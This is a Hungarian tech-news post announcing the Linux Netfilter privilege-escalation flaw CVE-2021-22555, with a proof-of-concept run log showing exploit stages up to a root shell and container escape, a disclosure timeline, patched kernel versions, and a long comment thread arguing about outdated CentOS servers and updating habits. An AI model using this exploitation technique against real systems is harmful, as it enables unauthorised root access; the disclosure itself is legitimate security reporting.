"CVE-2021-22555: Turning \x00\x00 into 10000$"

A CVE-2021-22555 figyelmeztetőben leírt sebezhetőség egy 15 éves "heap out-of-bounds write" sebezhetőség, ami a Linux Netfilter-t érinti (a 2.6.19-rc1 kernel óta). Sikeres kihasználása root joghoz juttatja a támadót a sebezhető gépen.

CVE-2021-22555 is a 15 years old heap out-of-bounds write vulnerability in Linux Netfilter that is powerful enough to bypass all modern security mitigations and achieve kernel code execution. It was used to break the kubernetes pod isolation of the kCTF cluster and won 10000$ for charity (where Google will match and double the donation to 20000$).

PoC:

theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
theflow@theflow:~$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: ffc
[+] real_idx: fc4

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff91a49cb7f000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff91a49c7a0000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000

[+] STAGE 4: Kernel code execution
[*] Spraying fake pipe_buffer objects...
[*] Releasing pipe_buffer objects...
[*] Checking for root...
[+] Root privileges gained.

[+] STAGE 5: Post-exploitation
[*] Escaping container...
[*] Cleaning up...
[*] Popping root shell...
root@theflow:/# id
uid=0(root) gid=0(root) groups=0(root)
root@theflow:/#

A sebezhetőség felfedezésének, bejelentésének és javításának idővonala:

  • 2021-04-06 - Vulnerability reported to security@kernel.org
  • 2021-04-13 - Patch merged upstream
  • 2021-07-07 - Public disclosure

Technikai elemzés itt.

Hozzászólások

A technikai elemzés erre a cikkre mutat. :)

Még szerencse hogy a Centos 5 2.6.18 as kernelle ebben sem érintett :D

Fedora 34, Thinkpad x280

LOL, használja azt még valaki? Simán dinoszauruszok korabeli, a szó szószoros értelmében :D

Amúgy nem aggódok, mert ez nem MS, hogy várni kell a jövő havi patch keddig. Az ilyen sebezhetőségeket kb. 24 órán belül javítják, vagy ma éjszaka vagy holnap hajnalra lesz belőle patchelt kernel az összes főbb disztró tárolójában. Plusz ahogy nézem, ehhez a sérülékenységhez eleve az kell, hogy a támadó már a géphez férjen, bejusson legalább user jogokkal. Egy ideálisan beállított rendszerre viszont be sem jut, hogy ezt az exploitot futtassa. Az ilyen támadásokat inkább a nagyon lusták szokták beszívni, akik sok évente egyszer frissítenek, vagy kb. soha.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Van még centos 6 os is az már elvileg sebezhető, és patchelve már nem lesz :/ Annyira nem vagyok otthon ezekben, az ok hogy local / ssh user nincsen, de a sok service is local user ként fut, pl egy php, vagy ki tudja mi, gondolom azon keresztül is kihasználható.

Fedora 34, Thinkpad x280

A CentOS 6 támogatása tavaly novemberben megszűnt. A 8-asé idén decemberben szűnik meg. Egyedül a CentOS 7 érdekes, mert az 2024-ig támogatott, abban is elég régi kernel van, 3.10-es ág. Én 7,5 éve álltam át fő rendszerként Linuxra, akkor mentek a 3.12 és 3. 14-es kernelek, olyan ősiek. Az is igaz, hogy ezekbe a régi ágakba vissza vannak portolva az újítások (ütemező, NVMe támogatás, systemd-vel kompatibilitás, stb.), biztonsági foltok, de ettől még nagyon régi kódbázis, kb. még a systemd előtti időkből.

Aki még ilyen CentOS 5 és 6-on van, az meg is érdemli, hogy szívjon. Mondom, lustaság. Jönnek a kifogásokkal, hogy nincs idejük frissíteni (kell facebookozni), meg hogy nem merik meg El Tör Ikk. Nem Rikk, csak érteni kéne hozzá minimálisan, és rendszeresen frissíteni, karbantartani a rendszert, megtanulni a dolgokat megoldani. Erre szoktam mondani, hogy aki annyira lusta és élelmetlen, az használjon fizetős supportos OS-t, Windowst, Windows Servert, RHEL-t, ott majd pénz fejében megoldják helyette, amihez ő lusta és béna.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Aki még ilyen CentOS 5 és 6-on van, az meg is érdemli, hogy szívjon. Mondom, lustaság.

Gondolom olyanról nem halottál, hogy kereskedelmi rendszer, ami adott rendszerre lett kreálva, auditálva stb :D

Az ilyen régi rendszerek azért vannak még, mert nem az oprendszert bajos frissíteni, hanem hozzá kéne nyúlni a rajta futó alkalmazáshoz, nahh azt viszont nagyon nem szokták akarni, a kör bezárul.

Fedora 34, Thinkpad x280

De hallottam, és azt is mindig óriási balfékségnek tartottam. Nem csak kereskedelmi rendszernél, hanem minden szoftverre igaz, hogy nem lehet magára hagyni. Olyan nincs hogy arra lett kreálva, és úgy hagyják, a fejlesztők hátradőlnek, hogy feautre complete, meg egyéb szlogenek. Nem, sose lesz complete, mindig karban kell tartani, meg újraauditálni, ha azt akarják, hogy modern környezetekben is használható legyen, és aktuális maradjon. A technológia az ilyen. Az ilyen „kereskedelmi rendszer”-t én csak gányolásnak hívom, és mindig is ellene voltam ezeknek, mert vendor lock-in és version lock-in felé egyengetik az utat, aminek nincs jó vége.

Ráadásul a CentOS 5 és 6 nagyon sokáig támogatott volt, 13 és fél évig (és előre be volt harangozva, hogy meddig lesz támogatott), ennyi időnek elégnek kellett volna lennie, hogy az ilyen gányolt rendszereket újabb verzióra portolják és auditálják. Mondom, futhatjuk a köröket még a témában, de mindig visszavezetődik ugyanarra a kulcsszóra: lustaság. Az ilyet nem szabad halogatni, meg kivárni vele a támogatási idő lejártát, hanem még támogatási időben intézkedni kell az aktualizációról.

Ezt egyébként sok cégnél és usernél megfigyeltem, hogy kivárnak, kivárják a támogatási idő lejértát, sőt, általában még azután se tudják elengedni az adott terméket, verziót. Mindig reménykednek valamiben, hogy majd valami lesz, de azt sose sikerült megfejtenem, hogy mire számítanak, égi csodára, utolsó pillanatban kiterjesztett extra támogatási időre, vagy arra, hogy támogatás nélkül sem lesz gond a szoftverrel? A csodát lehet várni, de nem fog jönni.

Pont ezt beszéltem hajbazerrel is, az ő esete is teljesen paralel ezzel. Egészen addig XP-t akar használni, míg majd egyáltalán nem fog menni, nem lesz használható, böngészni sem lehet vele. Addig kivár, hátha lesz valami. Mert Linux az nem, mert az sz@r, de szerinte majd ölbe fog pottyanni valami jobb. Közben még azzal hitegeti magát, ha az XP-t nem tudja tovább használni, na, akkor Win7. Na, de az se lesz addigra támogatott, át tervez szállni elsüllyedt hajóról elsüllyedtre. Nem érti, hogy csak a Linux marad, hiába nem tetszik neki. Vagy esetleg a BSD nőhet fel a dekstop szintre, de az meg épp ugyanazon az okból kifolyólag nem fog neki épp úgy tetszeni, amiért a Linux se. A Haiku, ReactOS, stb. meg kb. sose lesz ilyen ütemben használható állapotban, DOS is a régi időkbe veszett már, ma már retró only. XP-nek is hiába szivárgott ki a kódja, nem csinálnak belőle új kiadásokat. Lehet reménykedni, hogy valami lesz, csak alaptalan remény lesz. De reménykedik tovább, várja a messiást, meg hogy hozzák a sült galambot. Nem érti, hogy már most nézelődnie kéne normális alternatíva után, meg adaptálódnia. Ráadásul ő még legalább érdeklődik a technológia után, el lehet képzelni laikusok hogy gondolkodnak a témában. Már jó évtizede ugyan, de akkor is voltak ilyenek, ilyen 55 éves Sztálin bajszos rendszergizda, 70-es évek óta koptatott kocka aktatáskával (ami már akkor is pár évtizede nem volt már divatban), ott esküdözött még, hogy a Novell a jövő, ő még azt tanulta, az még rendszer volt, az intézményt ezért továbbra is abba invesztált, pedig már halott volt akkor is, épp akkor már bőven csődbemenők voltak. Mutogatta, hogy megvannak még neki a régi Netware-es telepítőfloppy-jai is, meg ő még azt tanulta, ő ilyen modern huncutságoknak, meg hobbi OS-eknek, mint a Linux, nem ül fel, mert majd leül a hájpja. Ja, jól le van ülve azóta is.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

CentOS 5 és 6 nagyon sokáig támogatott volt, 13 és fél évig 

A CentOS tudtommal 10 évig volt támogatott, ahogy az RHEL is, a 13 vagy további évek pedig már extended support amiért külön kell fizetni, viszont ezek a csomagok már nem kerültek vissza a centosekbe.

 

Az esetek többéségében arról van szó, hogy az ügyfél megrendel valamit, kifizet hasznalja. Nem fog fizetni utana evekig, hogy az karban legyen tarttva frissitve legyen stb, ha neki a mukodese megfelelő, egy petákot nem fog rááldozni, mert az neki nem termel pluszt. Szóval mondhatom én az ügyfélnek, hogy kéne frissíteni, de ő ezért nem fog fizetni mert most is működik, akkor minek ...

A novell tényleg klafa volt, én szerettem annó, persze könnyeket nem hullattam utána, de az tény hogy sok munkát nem adott a rendszergazdáknak, persze az is igaz, hogy akkor igencsak más világ volt. :D

Fedora 34, Thinkpad x280

Igen, 10 évig támogatott, de én egybeszámoltam a két rendszert, együtt az extended supporttal, tehát a CentOS5 kiadásától számítottam a CentOS6 extended support végéig. Azért egyben, mert nem volt a két verzió között olyan lényeges ugrás, ami az átállást megnehezíti. A CentOS7 már más, az systemd-s, meg több az újdonság.

Novellt csak a régihez ragaszkodásból írtam. Egyébként ezért helyeslem, hogy a CentOS rolling lett, és tartom bajnak a Rocky, meg Alma disztrók létrejöttét. Szerintem az IBM pont azért szüntette meg, mert nem akarta, hogy emberek régi verziókon ragadjanak, ezt arra az esetre tartották fent, ha valaki fizet érte, megfizeti a szopást, amit okoz. A legtöbb helyen, ahol régi verziókon ragadtak, az esetek többségében semmilyen auditról, version lock-inről nincs szó, századszorra is: lustaság. Vagy babona, a félelem, hogy jajj, eltörik, és mivel kóklerek viszik, tudják magukról, hogy ha csak egy fél órás fixet is igényel, nem lesz meg a tudásuk hozzá, mert nem értik a rendszert, félnek egy konzoltól, jajj, gépelni kell, nincs mindenhez GUI, jajj, mi van ha.

Ha megfigyelitek, ma már a legtöbb disztró és OS rolling, félrolling. Jó, vannak hosszú támogatású kiadások is, de azok legtöbbször csak céges fizetős supportot nyújtó cégeknél, és ezek is csak úgy támogatottak 5-10 évig, hogy köztes alverziós kiadásokat fél-egy éventként kötelező léptetni. Már a Windows és MacOS is félrolling. Ahogy írod is, más világ van már, minden netre kötve 24/7-ben, számos támadásnak kitéve, egyre több szoftveres és hardveres sérülékenységet fedeznek fel, és használnak ki. Ez ma már nem az a világ, mint rég volt, hogy az a menő, hogy 10+ éves uptime, meg a régi verziók dicsőítése. Eltolódtak a trendek, mindenben, rendszerkiadás, karbantartás, más prognyelvek/módszertanok, más keretrendszerek, webalapúság stb.. Nem csak az OS-ekknél figyelhető meg, hanem az összes szoftveren, pl. régen egy böngészőverzió ment évekig, most meg 6 hetente léptetik, meg egyszerre több csatornán lehet használni, tesztelni, stb.. Sok fejlesztő sem akarja ezt megérteni sajnos. Pl. a qBittorrentet amiatt dobtam végül, mert kb. 2 évente előjött az, hogy frissült a libtorrent-rasterbar függősége, amivel önmagában semmi baj nem volt, de a qBittorrent eltörött/crashelt, mert nem tudott mit kezdeni az új verziós függőséggel. A fejlesztők lustiztak, nem gyúrtak rá közben, hogy a dev ágat úgy gondozzák, hogy mindig az aktuális legújabb függőségekkel is menjen. Ilyen hátra dőlős, featurecomplete vagyunk emberek. Pont emiatt a lustaság miatt szeret a legtöbb fejlesztő Windowsra fejleszteni. Ott a legutóbbi időkig elég volt egyszer megírni a szoftvert, hátra lehetett dőlni, ha nem volt sok évente egy Windows főverzió vagy nagy Service Pack váltás, akkor elment a kód, lehetett lustulni. Ez pedig kényelmes volt, a kényelem meg nagy úr.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Szerintem meg azért lett rolling mert tesztelni kell, tesztelik fedorán, majd centosen, aztán ha klafa megy be az RHEL-be :D Ennyi. Nekem semmi bajom a 1x éves támogatással sőt örülök neki. A legtöbb  CentOS6 már cserélve lett CentOS8 -ra és utána kényszerűségből OL8-ra , mert van amit lehet, egész fájdalommentesen. De mint mondtam van még CentOS5 alatt rendszer és marad is.

Desktopra fedorát használok ott elmegy ha 1-2 újabb csomag miatt szarrá megy valami, de szerveren ez nem hiányzik.

Ebből a szempontból még a debian is jobb a centosnél mert ott tényleg nincsen a kiadási ciklus alatt verzió váltás, míg RHEL/CentOS vonalon simán van, és már volt is belőle szopásom :/ 

Szóval jó az a nekem 10 év support, nem kell rolling. Persze kinek mi ...

Fedora 34, Thinkpad x280

Persze, van rendszer Debian 2.2.-őn is. A lustaság nagy úr, egyesek végtelen ideig halogatják. Egyébként meg a Fedorával sincs baj stabilitásra, úgyhogy ha azután megy a kód CentOS-be, az szerintem nem olyan rossz húzás, és legalább nem használnak ősrégi verziókat.

Egyébként már Debian alatt is van verzióváltás cikluson belül, igaz nem túl gyakori. Meg ebből a szempontból a Debian is fejlődött, csomagfrissességben már kevésbé marad le, mint 5-10 éve. Még mindig nem a frissesség fellegvára egy bleeding edge rollinghoz képest, de nincsenek annyi évnyi verzióval lemaradva.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Szerintem nem minden jobb, ami újabb. Számos példa van arra, hogy "magára hagyott rendszerek" köszönik szépen jól vannak, és adott feladatra teljesen megfelelőek. Ugyanez megy az élet minden területén. Rád erőltetik azt a világképet, hogy cserélgess mindent, mert ez a fejlődés. Hát nem. Nem ez a fejlődés, illetve nem minden esetben. Az esetek többségében ez csak pénzköltés, meg a gazdaság életben tartása. A kalapácsot se nagyon fejlesztik, mert úgy jó, ahogy van. Csak azt kell folyamatosan fejleszteni, ami folyamatosan szar. Miközben az embereket meg frissítési kényszercselekvőkké teszik.

robyboy

Olyan nincs hogy arra lett kreálva, és úgy hagyják, a fejlesztők hátradőlnek, hogy feautre complete, meg egyéb szlogenek. Nem, sose lesz complete, mindig karban kell tartani, meg újraauditálni, ha azt akarják, hogy modern környezetekben is használható legyen, és aktuális maradjon. A technológia az ilyen.

De van. Bowling palyat vezerlo rendszer peldaul. Sarokban allo midi torony, FreeDOS, internet nelkul. Feature complete, hozza nem kell nyulni evtizedek ota.

szerk: ja bocs, de: deszkat csereltunk benne par eve felpuposodott kondik miatt.

A offline embedded rendszer, akkor legyen. Bár még ott is veszélyes lehet, ha kirohad a vas, ahogy írod, cserélni kell benne valamit, de az új hardvert nem hajta a régi rendszer, kínos lehet. Pont ez a FreeDOS-nál nem játszik, de van, ahol releváns lehet.

Itt most régi CentOS szerverekről volt szó, amik régi verzión ragadtak, online bekötve, azokon azért veszélyes mutatvány, pont a hírben írt támadások miatt. Amiben most pl. pont nem érintettek a túl régi kernel miatt, de vannak, amiben érintettek.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Persze, sokszor lustaság, de azért a másik oldalon is vannak valid érvek. 

Az ilyet nem szabad halogatni, meg kivárni vele a támogatási idő lejártát, hanem még támogatási időben intézkedni kell az aktualizációról.

Ez néha lehet igaz, de a gyakorlatban sokszor maga a platform tovább életképes, mint a termék/szolgáltatás, amihez a platform kell. Kevés olyan szolgáltatást tudok fejből, ahol nincs legalább tízévente egy nagy generációváltás, ami új eszközökkel, szoftverparkkal jár. Ha meg ott állsz, hogy most járt le a támogatás, de 1-2 éven belül piacra lépnél egy új generációs termékkel, akkor az egy nagyon kellemetlen beszélgetés, hogy betalicskáznál egy rakás pénzt a lélegeztetőgépen tartott termékbe.

Mindig reménykednek valamiben, hogy majd valami lesz, de azt sose sikerült megfejtenem, hogy mire számítanak, égi csodára, utolsó pillanatban kiterjesztett extra támogatási időre, vagy arra, hogy támogatás nélkül sem lesz gond a szoftverrel?

Szerintem nem reménykednek semmiben, egyszerűen egy bizonyos méret fölött nagyon nehéz összeszervezni egy major upgrade-et. Real life példa, W7->W10 migráció, több tízezeres fős multinál. Van mondjuk 30000 desktop a cégnél, pár ezer szerver, van mondjuk 50 belső fejlesztésű és 50 vendor által hozott custom szoftver, az off the shelf alkalmazásokon felül. A W10-zel már kb a megjelenés napján elkezdtek ismerkedni, de hiába kezdték el időben, szerintem máig nincs 100%-a migrálva a gépeknek.

Mondhatjuk rájuk, hogy lusták, de te jobban tudnád csinálni? (Értelemszerűen van egy viszonylag nagy, de nem kimeríthetetlen budget rá.)

A Centos5/6 életciklusa alatt tudható volt, hogy mikor kell OS-t cserélni, azaz mikor kell a rajta futó dolgokat új környezetbe migrálni/újraépíteni. Igen, ez munka, de tervezhető, az úk OS/app környezet kialakítása tesztelhető, előre elkészíthető az élesre is a forgatókönyv...
Ami gond szokott lenni, hogy az app életciklusa/támogatása is lejár, és azt meg nagyon nem akarják frissíteni/új verziót venni belőle/új verzióra átállni - és a kör bezárult: ócska app, ócska OS-en...

Így van. Pont ezt írom én is: tudja hogy lejár, vagy már lejárt a támogatás, de akkor se frissít, mert csak. Mert nem akar, vagy lusta. Ezeknek épp ezért mindegy, hogy mennyi támogatást adsz nekik, ha 20 évet, akkor azután se állnak át, csak arra használják az extra határidőt, hogy tovább halogatják. Már ez a 10-13 éves támogatás is eleve overkill, amit a CentOS adott eddig, pont az ilyen húzásokkal szoktatták rá a lustákat a halogatásra, gondolom az IBM is ezt unta meg, hogy a serverspace-ben még mindenki ősrégi CentOS verziókon van beragadva, mikor ott van már régen az új verziós RHEL és Fedora, így próbálták rákényszeríteni a népet a váltásra, szaporább verziókövetésre, olyan jeligével, hogy a lustaságot ingyért nem szolgálják ki.

Ennek futottam bele most egy esetébe. Serious Sam 1, natív linuxos port, serious-engine néven. Arch Linuxon sehogy se fordul le, make error 2-vel leáll. Próbáltam a 32 és 64 bites fordítóscriptet is, fent vannak 32 és a 64 bites függőségek is, amit a github repó kér. Az issue-kból látszik, hogy valószínű a gcc 11 a baj, túl új a kódnak, de jelezte hónapokkal ezelőtt egy Fedora 34-es emberke, hogy Clang-gal neki lefordul (export CC=clang && export CXX=clang++ fordítás előtt). Na, nekem úgy se fordul le, próbáltam a 32 és 64 bites buildscriptet is, The First Encounter és a The Second Encounter buildscriptjét is, az issue-k alapján új build scriptet csinálva, gcc-vel és clanggal is, minden kombinációban, meg minden sikertelen lépés után make clean-nel és teljes repóújraklónozással is, nehogy az legyen a gond, hogy valami hátramaradt fájl miatt áll bele a földbe. Próbáltam mindkét git-es forkot fordítani és AUR-ból is. Gondolom a Clang is túl új neki, 12-es, míg a fedorás posztoló még Clang 11-gyel próbáltam akkor. Ez is az az eset, hogy a fejlesztő hátra van dőlve, mert neki a őskőkori rendszerén, régi verziós gcc-vel megy. Közben azt tudni kell, hogy a gcc 11 jó pár hónapja kint van stabil kiadásként, semmi baj vele, egy csomó projekt lefordult vele AUR-ból, tehát nem az, hogy bugos, meg el lenne törve, csak ennek a játékkódnak fejlesztője nem készítette fel hozzá a kódját. Eleve valami gányolt, fork forkjának a forkja típusú kód, és a szőnyeg alá van söpörve. Olyan messzire meg nem megyek, hogy downgrade-eljem a gcc-t (pedig ott a 10-es is a repókban gcc10 néven), vagy virtuális gépen fordítsam, annyit már nem ér az egész, így is sokszorosan több időt sz@rtam el rá, mint amit érdemelt volna.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Más részről viszont beismerem, hogy a legújabb verziók sem mindig jobbak. Pl. a KDE, Gnome, Firefox régóta visszafelé fejlődik verzióról verzióra. Még a Wine-nál is tapasztalom, hogy olyan régi játékok nem futnak, amik még régi Wine verzió alatt jól futottak (Max Payne, Serious Sam, stb.), hiába a DXVK, Proton, meg a kiszivárgott XP-s kód alapján történő fejlesztések, sok helyen inkább funkcióvesztés van, mint nyereség. systemd sem hiányzott a tökömnek se, régi verzióknak ez is előnye, hogy azokban még nem volt ilyen. Plusz általában az újabb verziók bloatabbak, hardverigényesebbek is. De azt kell érteni, hogy ez hiába nem tetszik, ez nem szeretés kérdése, a verziókkal haladni kell, hogy egy ökoszisztéma életképes és aktuális maradjon, ezért ebben nem lehet konzervatívnak és lustának lenni, mert egy szinten túl garantáltam tarthatatlan lesz és visszaüt. Ezt a békát le kell nyelni, hacsak az ember nem a saját fejlesztésű OS-ét, drivereit, alkalmazásait használja kizárólag.

“I didn’t start using Linux so I could have friends.” (Luke Smith, 2019) 🐧

Hát akkor már inkább a 69 hiányozzon...

robyboy

Szerkesztve: 2021. 07. 15., cs – 22:04

A javítást tartalmazó kernel verziók:

  • 5.12
  • 5.10.31
  • 5.4.113
  • 4.19.188
  • 4.14.231
  • 4.9.267
  • 4.4.267

üdv.